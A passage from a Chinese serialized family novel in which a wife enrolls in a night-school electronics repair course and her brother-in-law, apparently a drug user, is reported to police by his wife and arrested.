她下意识连连摆手再次拒绝:“不了不了,那样太麻烦,而且这样我多累啊,每天忙完店里的事,又要忙家里的事,哪还有精力去学,我不行的。” 说着有些匆忙地站起身,像是在逃避什么一样,走了出去。 宁绍明没办法,只好把这事暂时搁置,不再说了。 不过宁绍明知道赵如月喜欢这个,他自己本身又是一个因为学了一门手艺,而受益匪浅的人。 难免对给赵如月找师傅学手艺的事上了心。 轮到宁绍明去县城采购的时候,他除了例行去给大舅子家看看电视的价格有没有降低。 也总会下意识地去找跟学习修理相关的信息,没想到还真给他找到了! 第90章 “兄弟,麻烦停一下,就在那个学校门口停!” 宁绍明到县城采购,恰好路过华云市技师学院云山县校区的门口。 他眼睛尖,看向窗外时,一眼就看到门口贴着的一张大红纸上,用黑色的墨水写着的字里,有一行写着:电子维修专业,2年制。 司机跟他们家很熟了,没嫌麻烦,缓缓靠边停下:“你家孩子还没到上中专的时候吧?要给你大哥家的姑娘打听学校?” 宁绍明打开车门跳下车,反身关门时说了一句:“不是,是给我媳妇儿打听。” 司机愣住,回过神后看着宁绍明的背影挠头,他媳妇儿不是跟他同龄吗? 三十出头了,还上什么学? “华云市技师学院夜校培训班招生简章……” 宁绍明看着那张红纸,小声念出声:“电子维修专业,2年制。” “上课时间:每周星期一到星期五,晚上七点半到九点半;星期六到星期日,上午八点半到中午十二点,下午两点半到四点半,竟然还给发毕业证!” 他把那些字从头到尾看了一遍,把报名时间之类的重点信息记住。 只是有些地方还不太明白。 见着一个带着眼镜的中年男人从学校里出来,看起来像是老师。 宁绍明赶忙上前拦住人家打听:“这位老师你好,我想问一下,关于这个夜校培训班的事。” 那位老师指了指不远处的一栋五层楼房:“这个我不太清楚,你可以去那边那栋楼的三楼教务处问问,招生简章刚贴上去,负责这个的老师还没走,你现在过去就行。” “谢谢谢谢,我直接过去就行吗?”宁绍明问,他没经历过,以为跟找人办事一样,得准备点礼品。 “对,直接过去就行,他们巴不得多点人去咨询呢。” 自从中专毕业不分配工作,去大城市打工开始成为潮流后,中专学校就没那么抢手了。 学习好的更愿意上高中,以后考个好大学,出来学历高,各个公司抢着要。 中专学校的招生就成了问题,只能想办法扩宽招生群体和招生渠道。 于是就把目光转向了有工作,又想拿个文凭的成年人,才有了这个夜校培训班。 宁绍明初中毕业就没能继续读书了,他还没来过这样的学校,心里有些紧张。 来到教务处后,接待他的人听说他是来咨询夜校的事,态度异常热情。 宁绍明才知道刚才那个中年老师说的话一点水分都没有,那张招生简章还真是刚贴上去的。 负责招生的老师前脚把招生简章贴上去,刚回到办公室,屁股还没坐热,后脚宁绍明就来了。 招生老师不禁想:这真是个好兆头! 这位老师让宁绍明想问什么直接问,他能回答的都会回答。 宁绍明就直接问了:“请问电子维修专业上课的教室,是在市里还是县里?我家不在县城,去一趟市里比较难。” 如果是在县城还好,他们可以跟开面包车拉客的亲戚商量一下,包月让他接送赵如月。 在市里就有点麻烦了,他们镇上没有专门跑市里的车,去市里上学的话,要么先去县城再转车到市里。 到了市里可不是就万事大吉了,还得坐公交到学校去,太麻烦、也太累人了。 另一个方法是,到镇子附近的高速服务区,等去市里的车路过服务区,在那里上车,但是这样不安全,不确定性也大。 他们家又没装电话,哪天路过服务区的车临死改道,又没法通知到他们,那就抓瞎了。 好在这位老师的回答,让宁绍明放心了。 “我们贴出来招生的所有专业,全都会在云山校区这边上课,授课老师倒是既有主校区的,也有云山校区这边的,电子维修专业是主校区那边的老师过来,老师的教学经验和实操经验都非常丰富。 你别看这个专业一个学期的学费要四千五百块钱,看起来比别的专业高很多,其实学费里已经包含了实践课和教学器具的费用,真的是非常值的,只要认真学,绝对能学到真东西,不是糊弄过去给个学历就完事了。” 招生老师说起话来滔滔不绝,宁绍明想插嘴都没找到机会。 等他说完,才忙问出另一个他更关心的问题:“不知道学校里,有没有给夜校培训班的学生准备宿舍? 我家离县城远,要是哪天天气不好,或者接送的人没空,学生也能在县城有个落脚的地方,我们愿意花钱租。” 其实也不是不能在县城其他地方租房子,但宁绍明就是觉得学校里比较安全。 他老婆也是女孩,自己来上学,到时候一个人住在外面,他多少有些不放心。 “这个问题我们倒是没考虑过……”招生老师想了想,学校确实有些空下来的学生宿舍,他认为也不是不能安排一下。 他们之前默认招的学生应该是在县城有地方住的人。 毕竟主要是面向成年人的培训班,一般要么家在县城,要么在县城工作,自己租了房子,不会没有地方住。 但是学校的宿舍空着也是空着,给夜校生住再收点住宿费,总比空放着好。 宁绍明问的这个问题,也给招生老师带来了一点新的想法,目前招生简章刚贴出去,还不知道招生效果如何。 如果效果不好,在县城招到的人不够,学校有住宿的地方,他们不就能往附近更远的村镇招生吗? “我这就去找领导问问,麻烦你稍等一下。” 宁绍明:“好的。” 招生老师脚步匆匆地离开,宁绍明在办公室里坐了大概半个小时。 那位老师才兴高采烈地回来,告诉宁绍明:“可以了,领导们探讨过后,决定划出旧的教室宿舍,给夜校培训生,不过培训生毕竟不是统招上来的学生,住宿费可能会贵一些,需要按月收取,一个月两百块钱,如果能接受的话,报名缴纳学费的时候需要一次性付清一个学期,也就是大概三个月的费用。” 宁绍明听了也很高兴:“那太好了!我回家跟家里人商量一下,家里人同意的话,我们会尽快来报名。” “好好好,”招生老师给他塞了一张纸条,“这是我的电话号码,你来报名的时候可以提前给我打电话,免得来了还要等。”也不能让其他招生老师截胡了。 宁绍明回到家,迫不及待地把这件事告诉赵如月。 然后再次劝她:“这可是个好机会,你想想,去找师傅跟着学,哪个师傅愿意只让你晚上去学?有些师傅恨不得学徒给他白打五年工!” 不说师傅愿意不愿意,就说现在他见过的会维修的师傅几乎都是男的,就算找到了愿意教的师傅,他也不乐意让老婆晚上再去师傅那里学。 但学校就不一样了,虽然老师可能也是男的,但那是几十个人一起上课又是在学校,意义不一样,还能拿到毕业证和职业资格证。 赵如月那心又怦怦跳动起来:“我、我真的可以吗?” 这次在场的不只是她和宁绍明,两个孩子也在。 不等宁绍明再劝,他们的小闺女已经叫起来了:“当然可以,妈妈你那么聪明,要是你都不行,咱家就没人能行了!” 她说完还觉得自己说得不够,又补充了一句:“镇上也没别人能行啦!” 宁时秋也附和妹妹的话:“我也觉得妈妈很有天分,反正我肯定不能看过一次就会修电饭锅。” 他真不是说瞎话,而是用爷爷家破得不用的电饭锅试过,最终结果是,拆开后没法原样安装回去了。 最后好不容易安装回去,却多出来两颗零件。 宁时夏跟个小喇叭一样,围在赵如月身边一个劲地说:“去吧去吧妈妈,到时候我们送你去上学,就像你送我和哥哥去上学一样,多好啊!我们还能天天去县城找锯子哥和欢欢他们玩。” 有孩子插科打诨,赵如月心里那点忐忑和不自信,刚冒头就被他们闹散了。 赵如月好笑地点点她额头:“你这小机灵鬼,其实是想每天去县城玩吧?” 宁时夏没反驳:“嘿嘿,这叫一举两得,既能送妈妈去学校,又能去玩,多好!” 赵如月看着女儿,不由想起上辈子,女儿也想过送自己去老年大学,想给她找点事做,丰富一下她的退休生活。 最好能找到她感兴趣的事,分走注意力,别整天盯着孩子的生活没事找事。 可自己不愿意去,光想着给儿子带孙子。 然而作为独生女的儿媳并不想跟她一起住,而且那时候孙子也上幼儿园了,幼儿园又在家附近,儿子儿媳两个的单位离家也不远。 他们自己每天上下班就能接送,根本不需要她去带。 只有她,一昧地想按照老一辈的传统奉献自己,自我感动于自己的付出。 最后才发现,那就是媚眼做给瞎子看,根本没人领情。 赵如月不是没有察觉到自己的兴趣在哪方面,要不然上辈子不会总是去看那些维修视频。 只是她总是习惯性地把自己的感兴趣的东西放在最后一位,下意识地忽略它。 而现在赵如月终于察觉到了这一点。 她开始问自己,家里的条件真的困难到,需要她继续无视自己喜欢的东西,去托举其他人吗? 现在去做自己喜欢的事,会让家里变得窘迫吗? 家里人都不支持她吗? 答案显然都是否定的。 她想做的事,家里人不是没有反对过。 之前在鹏城的时候,宁绍明就曾不赞成她回来后开店卖小商品。 当时的他除了不想跟她分开各忙各的之外,肯定也看出来,她并不是真心喜欢开店做小商品买卖了。 现在发现了她真心喜欢的事,他的反应跟那时候完全不同,不但不阻止,还积极地帮自己找学校。 赵如月的目光在家人脸上滑过,她的家人眼睛亮晶晶的看着她,全都在等着她做决定。 她觉得自己甚至不如他们了解自己,他们看出了她喜欢做的事,也支持她能去做自己喜欢的事情。 “那好吧,我去报名学一个学期试试,反正学费不是一次性缴两年,不合适再说。” 宁绍明开心地举起女儿往天上抛了一下:“这就对了,试试总好过以后想起来后悔。” 宁时夏被抛到天上,感觉自己像是飞起来了一样。 她超级喜欢这种飞一般的感觉,高兴得嘎嘎笑:“爸爸再扔一次,再扔一次!” 欢笑声在小院里回荡,直到赵如月喊停,催着两个孩子去洗澡睡觉。 晚上回到房间,赵如月算完今天的账,对宁绍明说:“我打算用那十万块钱去缴学费。” 宁绍明一怔:“家里的钱不够了?烤箱可以不着急买。” 他记得家里还有点存款,买烤箱其实也够,只是他不想动存款而已,这钱用来缴第一个学期的学费和住宿费也是够的。 “不是,我也不想用家里的存款,这笔钱你不是总想着让我自己用么,我把它投资在我身上,不就更算是我自己用了。” 宁绍明仔细一想,还真是:“那就用吧,等你学成出师,我们应该也有不少存款了,到时候可以把我们家旁边的地买下来,给你开个维修店,要是家里的餐饮店跟刘俊华妈妈的理发店一样,能开到县城去,去县城买个门面开店也行。” 他虽然支持老婆去学习,但难免还是会有一些老派的想法,不希望跟老婆分开。 他觉得两家店最好黏在一起,抬脚走两步就能见面是最好的。 宁绍明认为自己能接受的极限就是这样了。 赵如月灵机一动:“等我学成出师都要两年后了,不如用那十万块钱提前买,我听如玉说,现在县城的租金一天比一天贵,房价也是,买了铺面,就算我不开店,放着租给别人,每年也能把我的学费挣回来了。” 宁绍明说过,这钱她想怎么花就怎么花,现在也没提出异议。 反正花完了,还能用家里的存款给她缴学费。 “你明天跟丹萍去县城,可以顺便去找如玉打听打听,哪里有铺面出售,县城的铺面我记得应该不贵。” “嗯,顺便再看看房子。” 宁绍明不解:“看房干什么?” “买啊。” 宁绍明不懂:“家里不是有房子住么?我们家才四个人,买那么多住不过来,租出去也不如铺面租金贵吧?” “哪有嫌房子多的。”要不是担心一回来就买房太招摇,太过引人注意,赵如月刚回来就在县城买房子了。 她这个人没什么大志向,没幻想过自己能成为什么大人物,物欲也不高,最大的愿望就是钱够花的同时,再有点存款。 “而且你忘了,小秋再过两年就要上初中了,镇上初中是什么样?县城的初中又是什么样?在县城没有房子,孩子考得再好,也进不去好学校。” 宁绍明:“我记得镇中心小学,不是有几个尖子生被县城的初中要走吗?我们家小秋那么优秀,回回考年级第一,应该也可以吧?” “现在跟以前不一样了,而且县城好学校来要人这个事,不确定因素太多,我们总不能把希望全都寄托在上面,自己得做另一手准备才更稳妥。” 赵如月不知道县城现在有没有划分学区,可不管有没有,她都要提前做好准备。 家里两个孩子呢,老大用不上,老二总能用得上。 鹏城她不太了解,但她住了几十年的县城,以后哪里的学校好,哪里的房价贵,她都知道。 “有道理。”宁绍明被她说服了,默默在心里记下这件事,挣钱的动力更足了,给家里买房这事,总不能全靠老婆吧。 关了灯,宁绍明睡觉前迷迷糊糊地在脑子里规划,面包、蛋糕这些东西,以后最好跟餐饮店分割开。 能单独开一家面包店和一家餐饮店就最好了。 可惜现在厨房对他的依赖太重,小春暂时没办法独当一面,更何况他是想着以后让小春独立开自己的店。 睡着前还在想着这些事,以至于做梦全是各种蛋糕面包、煮粉炒粉,怎么开店,怎么经营。 做了一晚上的梦,早上起来呼吸一口新鲜空气,再去想,结果全忘了。 宁绍明出去买肉的时候,郁闷地给自己买了一本笔记本,决定以后要及时把想法记录下来。 赵如月跟往常一样,在院子里处理今天要用的配菜。 宁丹萍走进来跟她打了声招呼。 赵如月有些意外地看着她:“这么早啊,怎么不多睡一会儿?” 她提前跟宁丹萍说过,要忙完早上客人吃饭的高峰期,才有空带她去县城。 跟王海燕说带宁丹萍去县城也没花什么功夫,就是花了十块钱,说要宁丹萍去帮忙搬搬抬抬,给十块钱酬劳。 王海燕直接就问她把十块钱要走了,还让她别跟宁丹萍说给的是十块。 赵如月怕宁丹萍知道她还花了钱,心里有负担,确实没打算跟宁丹萍说。 宁丹萍拿了张小板凳坐下来帮忙。 赵如月忙道:“你特殊时期,别碰冷水。” 宁丹萍红着脸小声说道:“没事的三婶,现在量特别少,应该已经快结束了。” 听她这么说,赵如月就没再拦着,她知道升米恩斗米仇的道理,一味的付出是不可取的。 自己帮了宁丹萍,宁丹萍也来帮帮忙,自己心里舒坦,宁丹萍也会觉得踏实。 忙完上午,赵如月提前给招生老师打了电话,确认今天也能去报名,就带着宁丹萍上了去县城的公交车。 赵如月身上带着报名缴费要用到的钱,担心路上出意外,她就先赶去学校报名,把钱交了。 招生老师看她身边带着个孩子,还以为是给孩子报名,没想到她是要给自己报名。 一通解释后,招生老师更惊讶了,原来昨天来问的那个人,也是帮她问的。 他还以为那个男人是自己想学才来问。 招生老师看着报名表跟她确认:“你真的要学这个专业?会计、护理、人力资源管理之类的专业可能比较适合女性。” 赵如月笑着婉拒他的建议:“我就喜欢这个专业,确定就报这个。” “好吧,这边缴费,你是要住宿对吧?” “对的。”赵如月把钱拿出来放桌上,过了一会儿,拿到几张收据和一张录取通知书。 “课本记得开学前一天带着收据来领取。” “好的。”办完后,赵如月带着宁丹萍离开。 走出了学校,宁丹萍才从震惊中回过神来:“三婶,你要上学?” 这简直颠覆了她的想象,按照常理来看,上学这种字眼跟有了两个孩子的人完全不搭边。 这事赵如月没打算瞒着,就没跟她说回去不要跟人说之类的话。 只是点头说:“我上的是夜校,这个是专门做成人教育培训的,跟你们上学不一样。” 宁丹萍了然地点头:“原来是这样,不知道这个学校分数线高不高,要是考不上高中,我也想读中专。” 这是赵如月第一次听她说起关于未来的打算。 赵如月说:“现在想读中专应该不太难,不过考得分数高一点,能选择的学校会更多。” 还有一点她没说:考得好,更能说服家里供她上学。 毕竟现在她家里那个情况,愿不愿意继续供她上学真的难说。 而且考得好的话,学校没准还愿意给她免学费,那样她能继续上学的机会就更大了。 “你想买的MP3在哪里有卖?跟同学打听清楚了吗?”赵如月以前没关注过这个,还真不知道现在哪里有这个卖。 说到要买的东西,宁丹萍脸上多了些神采:“在新华书店,县城只有新华书店那边有得卖!” “竟然只有那里有的卖吗?那种手机维修店没有?” “你说的是小灵通维修的店吗?县城只有那个卖小灵通的地方有维修点,那边怎么会有MP3卖?” 赵如月印象中,一些维修店也有二手的和山寨的手机、MP3MP4之类的电子设备出售。 可是她们从学校到新华书店的路上,她印象中的那些店都没有出现。 按照常理来说,学校附近不可能没有这种店。 赵如月怀疑自己的记忆可能出现了偏差,难道要再晚几年才会出现?还是他们县城太落后了? 来到新华书店,看到MP3的价格,赵如月再次怀疑自己的记忆出错了。 “MP3竟然这么贵!” 柜台里最便宜的一个竟然也要三百多,将近四百块钱! 宁丹萍却说:“现在还算便宜了,之前更贵,一个要七八百,要不是今年大幅度降价了,这个我想都不敢想。” 90-100 第91章 宁丹萍攒了那么久的钱,也只买得起一个。 赵如月记得羊城和鹏城那边的电子设备没那么贵。 不过她也担心自己又记错了,得先问一问在那边的人。 赵如月对宁丹萍说道:“你先别买,我出去打个电话,你自己去新华书店二楼看看书等我一下。” “好的。”宁丹萍不担心三婶突然不让自己买。 因为她以前经常听小秋和小夏说的话就是,他们爸爸妈妈从来不会说话不算话。 赵如月给范小蓉打过几次电话,她的电话号码已经背下来了。 毕竟现在有电话的人少,经常打的电话号码就那么几个。 而且区号可以在打电话的地方查询,不用记,需要记下来的号码只有几个数字,很好记。 范小蓉去羊城投奔她小姨后,找到的工作就是在一个电子代工厂组装一些电子设备。 她在羊城安顿下来,工作稳定后,很快就把住院的钱寄回来,还给了赵如月。 后来也一直跟赵如月有联系。 只是范小蓉跟她爸一家断了联系,她爸一家也在镇上住着。 范小蓉担心自己打电话给赵如月,万一被人知道,传到她爸一家人的耳朵里,可能会让赵如月被她爸一家骚扰。 后来就只给赵如月寄信,寄件人也用她自己起的代号,没用她本名。 现在范小蓉几乎每个月都会给赵如月写一两封信,说一说她自己的近况,也问候一下赵如月和宁绍明最近如何。 有时候她也会提到自己遇到的烦恼。 赵如月对她的心理状况比较关注,看完信后,如果觉得有些事在信里说不清楚,才会去县城给她打电话跟她聊聊。 范小蓉给的电话是她厂里的电话,电话打过去后,跟那边说一下自己找谁,然后可以先挂掉,等那边接电话的人去车间找人。 可以等找来的人再拨回来,或者自己隔个五分钟再打过去一次。 赵如月是在公共电话亭打的电话,她跟对面说自己几分钟后再打过去。 然后等了五分钟再打,那边接电话的人就变成了范小蓉。 “如月姐,你怎么突然给我打电话?是不是我老家那边……” 赵如月忙解释道:“不是你老家那边的事,是我有件事想问问你。” 范小蓉被叫来的时候提着心,听到赵如月的话,悬着的心瞬间就放下来了:“那就好,你问吧,只要我知道的一定说。” “我就是想问问在羊城那边MP3买多少钱一个?我有个侄女想买MP3,但老家县城竟然只有新华书店有得卖,价格还特别贵,最便宜的一个要三百八十八块钱,她说这还是打折过后的价格。” “老家那边是这样的,毕竟不是生产地,而且我们老家还比较偏,很多东西在羊城、鹏城这边流行到烂大街了,老家那边才刚有得卖,旧款拿过去说是最新款,很多人也不看相关的新闻,商家说什么就信什么了。” 范小蓉现在换到的车间刚好就是组装MP3的,她跟工友聊天的时候,经常聊到各自老家这些东西卖多少钱。 赵如月一问,她就立马回答上来了: “MP3我们厂里生产的出厂价才大几十块钱,不过品牌的贵一点,听说出厂价一般都是一百以上,三百八十八能买个可以下载视频看的MP4了。” 赵如月疑惑道:“你们厂里不是主要做代工组装吗?也有自己的成品卖?” “我们厂自己做来卖的那些,在外面算是杂牌,不如那些牌子货卖得上价,不过都是一个厂子的,用料差不了多少,姐,要是你侄女不着急要的话,我可以用员工价给她买一个寄回去。 如果买我们厂子里自己的牌子,邮寄费加上买MP3的钱,应该不会超过两百。” “那我去问问她,等会儿给你回复?” “行,也快轮到我去吃饭了,我在这里等着你。” “好好好,我最晚五分钟后拨回去。”赵如月说完挂了电话,快步往新华书店走去。 幸好这个电话亭离新华书店不远,走过去就一分钟。 县城的新华书店也不大,上楼后一眼就能看完全场。 宁丹萍正在杂志区拿着一本《意林》在看,听到有人走过来的动静,她抬起头,看到是赵如月来了,放下手里的杂志站起身:“三婶,你打完电话了。” “嗯,我刚刚给我在羊城打工的朋友打电话,她在做MP3的厂子上班,那边的MP3比较便宜,我想问问你,是想今天马上买,还是可以等等?” 听到这里宁丹萍不由自主地皱眉,她放假之前,跟班上好几个同学说过,这周会来县城买MP3。 要是没能买回去的话,她担心别人会笑话她。 不过赵如月接下来的话,让她瞬间改变了想法。 “如果可以等,我那朋友能用出厂价帮你拿一个寄回来,邮寄费跟买MP3的钱加在一起,应该不超过两百。” 听到价格,宁丹萍心想,被笑话就被笑话吧,被人笑几句能怎么样?又不会掉一块肉。 她辛辛苦苦那么久,就攒下来四百多,一下子能省下一半的钱,等一等也非常值得。 “三婶,我可以等!” “那我就打电话去跟人说了,决定了可不能再反悔。” 宁丹萍立刻跟她保证:“我肯定不反悔!” 赵如月立刻下楼给范小蓉打电话,免得让人家等太久,耽误人家吃饭。 打完电话,又带着宁丹萍去寄钱,担心寄过去的钱不够,她直接让宁丹萍寄了两百整。 赵如月对宁丹萍说道:“要是买完东西,还剩下一点钱,人家再退回来也麻烦,多的钱就当是拜托人家帮忙的酬谢,你应该没意见吧?” 宁丹萍赶紧摇头表态:“我没意见。” 人家帮她省下一百多,她已经很知足了。 寄完钱出来,也快四点了,赵如月原本想约赵如玉一起吃饭,顺便跟她打听县城商铺和房子的价格。 可买商铺和房子的事,跟去上夜校学技术不一样,赵如月不想让太多人知道自家要买商铺和房子的事。 虽然宁丹萍不一定会出去乱说,但她也只是一个孩子,很容易在别人提起类似的事情时,显出异样。 也许大人都看出来了,她自己都不一定察觉自己被看出来了。 让她知道一个秘密再叫她保守,还不如不让她知道更保险。 一件事想保密,当然是知道的人越少越好。 赵如月这次就没约堂妹一起吃饭,只带着宁丹萍去县城新开的超市逛了一圈。 给她和家里两个孩子都买了点零食后,直接打道回府。 赵如月带着宁丹萍在县城买东西,宁绍明在家也没闲着。 他借着带孩子上集市玩的借口,在集市里到处看,哪个面包车司机比较靠谱。 虽然之前商量的时候,想过可以坐开面包车拉客的那个亲戚的车,但亲戚也不一定就靠谱了。 电视上都说过,不少案子是熟人作案呢,他不得不谨慎。 他们以前也不怎么坐面包车去县城,跟那个亲戚接触得也不多,宁绍明就决定亲自观察几天。 要是观察下来,亲戚不如别人靠谱,他可不会为了亲戚情面就选亲戚的车。 下午集上的人不多,镇上的车也很少,除了公交车,也就那几辆拉客的面包车。 集市的场地很大,平时也会有很多小孩子跑到这边来玩,扔沙包的、跳格子的、跳绳的、打羽毛球的都有,家长也不少见。 宁绍明混在这里,一点也不显得突兀。 两个孩子玩了一会儿滑板,有别的小孩凑过来也想玩。 他们就把滑板让出去给人家玩,然后自己去玩人家的羽毛球,还拉着宁绍明一起,说要比赛,五局三胜。 宁绍明看停在路边的面包车都快载满了客,载客到县城后不会那么快回镇上,就答应了。 快轮到他上场的时候。 他看到大嫂王海燕经过,跟她打了声招呼。 王海燕不知道在想什么,,明明两人离得不算远,宁绍明的声音也不小声,她却像是沉浸在自己的世界里无法自拔,听不到外面的声音一样,完全没反应。 等王海燕走了,还有熟人跟宁绍明开玩笑:“你是不是得罪你大嫂了,你跟她打招呼,她竟然也不搭理你。” 这熟人刚刚跟宁绍明的距离更远,他的意思是,连他都听到了,王海燕不可能没听到。 宁绍明还真回想了一下,自己最近是不是哪里得罪了大嫂。 可除了他大哥欠钱自己不愿意帮忙那件事,宁绍明想不出来最近还发生了什么事会得罪到王海燕。 他大哥那件事,因为他愿意让大侄子去自己店里帮忙,包三餐还开工资,大嫂怕惹着他和赵如月,让宁时春丢工作,即使她心里怨他们不直接给钱,也不敢表现出来。 肯定有别的事。 “没有啊,我成天忙着店里的事,怎么有空回老宅得罪人,”宁绍明想了一圈,确认自家和老宅最近都没什么事,只能说道,“可能是她娘家有事吧。” 这个小插曲很快过去,宁绍明没把这事往下心里去。 晚上赵如月回来,赵如月留宁丹萍在家吃了晚饭,洗过澡,才让她回家去。 老宅那边没有淋浴头,夏天洗澡一般是蹲在洗澡间的水龙头下面,直接用冷水冲洗,想洗温水澡,就得自己烧水,再抬到洗澡间去往里兑冷水,再用杯子舀水玩身上泼。 这两种方式,很显然都不太适合生理期还没彻底结束的宁丹萍。 宁丹萍洗完澡回家后,赵如月从店里走到院子里,发现宁丹萍把他们家两个孩子换下来的衣服都洗了。 “这孩子也太客气了。”赵如月正想着,明天见到宁丹萍跟她说不用帮忙洗衣服。 回到家没多久的宁丹萍,又哭着跑到他们家来了。 赵如月看她哭成那样,吓了一跳,还以为她存的私房钱被王海燕发现没收了。 解说一问,宁丹萍却说不是:“我妈不知道发的什么疯,我一回家她就骂我放假也不着家,可是今天我去县城这事她也同意了的,等我回家又骂我。” 还有一些涉及三叔三婶的话,和别的更难听的话,宁丹萍都不好意思说出来。 “我妈说让我别回家了,我还以为她开玩笑,没想到她来真的,把我的东西都装袋子里扔出来了。” 宁绍明问:“你哥呢?他没拦着点?” “我哥还不知道这事,他半路遇到一个朋友,去朋友家玩了,没跟我一起回家。” 宁丹萍正说着的时候,刚回到家的宁时春也被骂了,宁达和黄秀华两次都出来拦王海燕也没拦住她,甚至连他们老两口也被骂了个狗血淋头。 王海燕以往还挺要面子,今天却像是彻底不在乎街坊邻居怎么看了,当着街坊的面也嗷嗷骂。 骂得连黄秀华这种跟人对骂极少落下风的人都招架不住。 没过多久,宁时春也苦着脸,带着行李去投奔了他三叔三婶。 宁达和黄秀华则是回屋把大门关上,对王海燕眼不见为净。 听完宁时春的诉苦,饶是认识将近二十年,赵如月和宁绍明这次也想不通王海燕这突如其来的做法。 宁绍贤晚上回家,没见到儿子和女儿也没多问一句,王海燕不跟他说话,他也不在意。 自从知道他欠债后,这女人就没给过他好脸色,骂天骂地是常态,宁绍贤可不想自己去找骂。 只要她在家还洗衣做饭干活,他就当听不见。 宁绍贤脚步虚浮地走到厨房,简单吃了点东西,碗一扔就往床上躺。 王海燕在窗口悄悄往里看了一眼,那床上像是躺了瘦螳螂。 宁绍明那天离开老宅后,就没再见过宁绍贤,要是这时候见到他,肯定要被他的样子吓一跳。 害怕被发现偷看,王海燕只看了一眼就赶紧离开了窗边,去了女儿屋里睡。 这个星期她都是在女儿屋里睡,宁绍贤也习惯了,晚上没见她回屋也不管。 天黑了,镇上人都睡得早,各家各户关了灯,街道上陷入一片安静,夏天夜晚的虫鸣和青蛙的叫声格外明显。 吱呀一声,房间的门被打开。 黑漆漆的另一个房间里,王海燕听到声音赶紧起身,小心翼翼地蹲下,然后扒到门上听着外面的动静。 外面月亮很圆很亮,透过天井往里照,王海燕能通过木门下面的缝隙,隐约看到一点外面的情形。 她看到宁绍贤脚步匆匆地离开,连房间门和大门都忘了关。 一咬牙,也打算悄悄跟上去,看看他最近总是半夜出去,是不是在外面做些见不得人的勾当。 王海燕还知道家里木门开关会有声音,特地开着窗,从窗户翻出去的。 她跟在宁绍贤身后一路走,一直走到了平时不怎么有人来的土地庙。 只见宁绍贤钻进了土地庙里,抖抖嗖嗖地拿出一包火柴和一包她看不懂是什么的东西。 小心地打开那一包东西,倒出来一点点到另一张纸上,把纸卷成卷,再用火柴点燃了,在哪里满脸沉醉地吸。 镇上隔一段时间就会有人来放电影,放电影前,会放一些禁毒片,还会有人宣讲禁毒知识。 看到这里,王海燕哪还不知道宁绍贤这是在做什么! 她今天大发雷霆把儿女都赶走,就是因为发现了宁绍贤总是半夜偷摸出门,还以为他欠了一屁股债还敢勾三搭四,想在今晚守着捉奸,又担心被孩子发现,影响不好。 没想到这狗东西干的事,比偷情还严重! 王海燕甚至开始怀疑,宁绍贤所谓的欠债,到底是不是真的。 她吓得浑身颤抖,捂着自己的嘴,感觉身上被叮了好几个蚊子,也一动不敢动,生怕自己一动就忍不住尖叫出声。 禁毒片都说了,吸。毒的人很可能会泯灭人性、六亲不认。 万一自己被发现,后果可能是她无法想象的惨。 王海燕一直蹲在那个角落,一直到宁绍贤离开很久,她才敢动一动自己僵硬的身体,连滚带爬地离开原地。 回到家重新躺在女儿的床上,那颗扑通扑通狂跳的心根本没法平静。 她脑子里闪过无数的想法,一晚上没合眼。 天有点微微亮,王海燕就起床了。 她简单地把自己收拾干净,看了自己和宁绍贤的房间一眼,毫不犹豫地抬脚出门。 宁绍贤这段时间懒得很,以前还会下地干点农活,最近连吃饭都磨磨蹭蹭,任凭王海燕怎么骂都没用。 王海燕一出家门,径直往镇政府的方向走。 镇政府那个大院不只有乡镇领导的办公室,警察局和消防这些也全在里面,这些单位在镇上都没有单独的地方。 走到半路,迎面遇到一个邻居跟她招呼,她心里想着事,没注意到。 那邻居跟宁绍明不一样,没得到回应,她还挺执着,拉住王海燕又打了声招呼,还非要跟她唠几句才行。 王海燕被人拉住才从自己的思绪中脱离出来,打起精神应付人。 等聊完,那邻居终于走了,王海燕站在原地一个激灵,突然意识到自己这么去镇政府不行。 万一被人知道是自己举报的自己丈夫,以后别人会怎么看她? 婆家人和孩子会不会怨她? 王海燕不敢赌,公婆怨她,她不是很在意,反正都分家了。 但她怕孩子怨她,以后真没人给自己养老。 眼看两个孩子都长到那么大了,很快能给家里挣钱,以后自己的好日子还在后面,她可不想鸡飞蛋打。 王海燕想了想,立刻转身回家,路上遇到熟人,她就主动打招呼。 有人看到她往集市的方向去,又回来,就问她:“怎么又回来了?” 王海燕这时候巴不得问的人多一点,她就大声回答:“刚睡醒人出门的时候还迷糊着,连钱都忘了带,这不,还得赶紧回家拿钱去,要不好肉都让人挑走了。” “不年不节的,怎么要去买肉?”一般他们本地人都是等猪肉佬推着车,走街串巷叫卖的时候,顺便买一点自家吃,要买的肉比较多才会特地往集上走一趟。 “听说有人给我弟介绍对象,我得回娘家一趟问问情况,总不能空手回去。” “哎呀,你弟二十好几了吧,还没结婚啊?” 王海燕:“这次媒婆介绍的姑娘好得很,应该快了。” “那你快去吧,可别耽误了。” 一路上类似的对话重复了好几次,等王海燕到家,街上人都知道她要回娘家了。 王海燕回家拿了钱,真到集上大姑子的猪肉摊割了几斤好肉,往娘家去了一趟。 然后才从娘家出发,悄悄跑到高速服务区,等路过县城去市里的车。 到了县城下车后,王海燕顾不上心疼钱,找了个拉客的三轮车直奔最近的派出所。 一进去,就抓住一个看起来比较好说话的女警拉到一边,吓得人家还以为她要袭警。 好在听到了她带着颤抖声音,小声说:“同志!同志我要举报!我要举报我丈夫吸。毒!你们赶紧去把他抓起来,要不我家就要被那狗东西毁了!” 几天后。 赵如月再次在镇上听到了警笛声,她还纳闷地想,这不年不节的,是又有人开盘聚赌了? 过了一会儿,赵思莲一脑门汗地跑进店里,气喘吁吁地对她说:“如月堂姑,小秋和小夏的大伯被警察抓走了!” “啊?”赵如月一时无法消化她说的话。 “真的,我亲眼看到的!” 赵思莲还以为她不信,开始详细描述自己看到的情形:“警车来的时候悄悄的,没开声音,绕到我家后门停下。 然后好几个警察从车里出来,从我家后门进,前门出,把我爸吓够呛,还以为来抓他的。 可惜了,竟然没把他一起抓走。 那些警察出了我家前门,就分成两队,一队绕到小秋他大伯家后门守着,一队从前门冲进去,很快就把小秋他大伯抓出来带走了! 我来的时候,小秋他大伯娘正坐在门口哭呢,对了,他爷爷奶奶让我帮忙跑来跟你们说一声,让你们赶紧去老宅一趟。” 与此同时,在县城的宁绍德也接到了家里打来的电话。 电话里,他妈一把鼻涕一把眼泪地哭着说:“你大哥出事了,你赶紧回来一趟,记得马上就回来!” 宁绍德一听到他妈提到大哥,就控制不住地想起,被她替大哥借走的三千块钱。 他不耐烦地回了一句:“知道了。” 然后直接挂掉电话,却没马上请假回家。 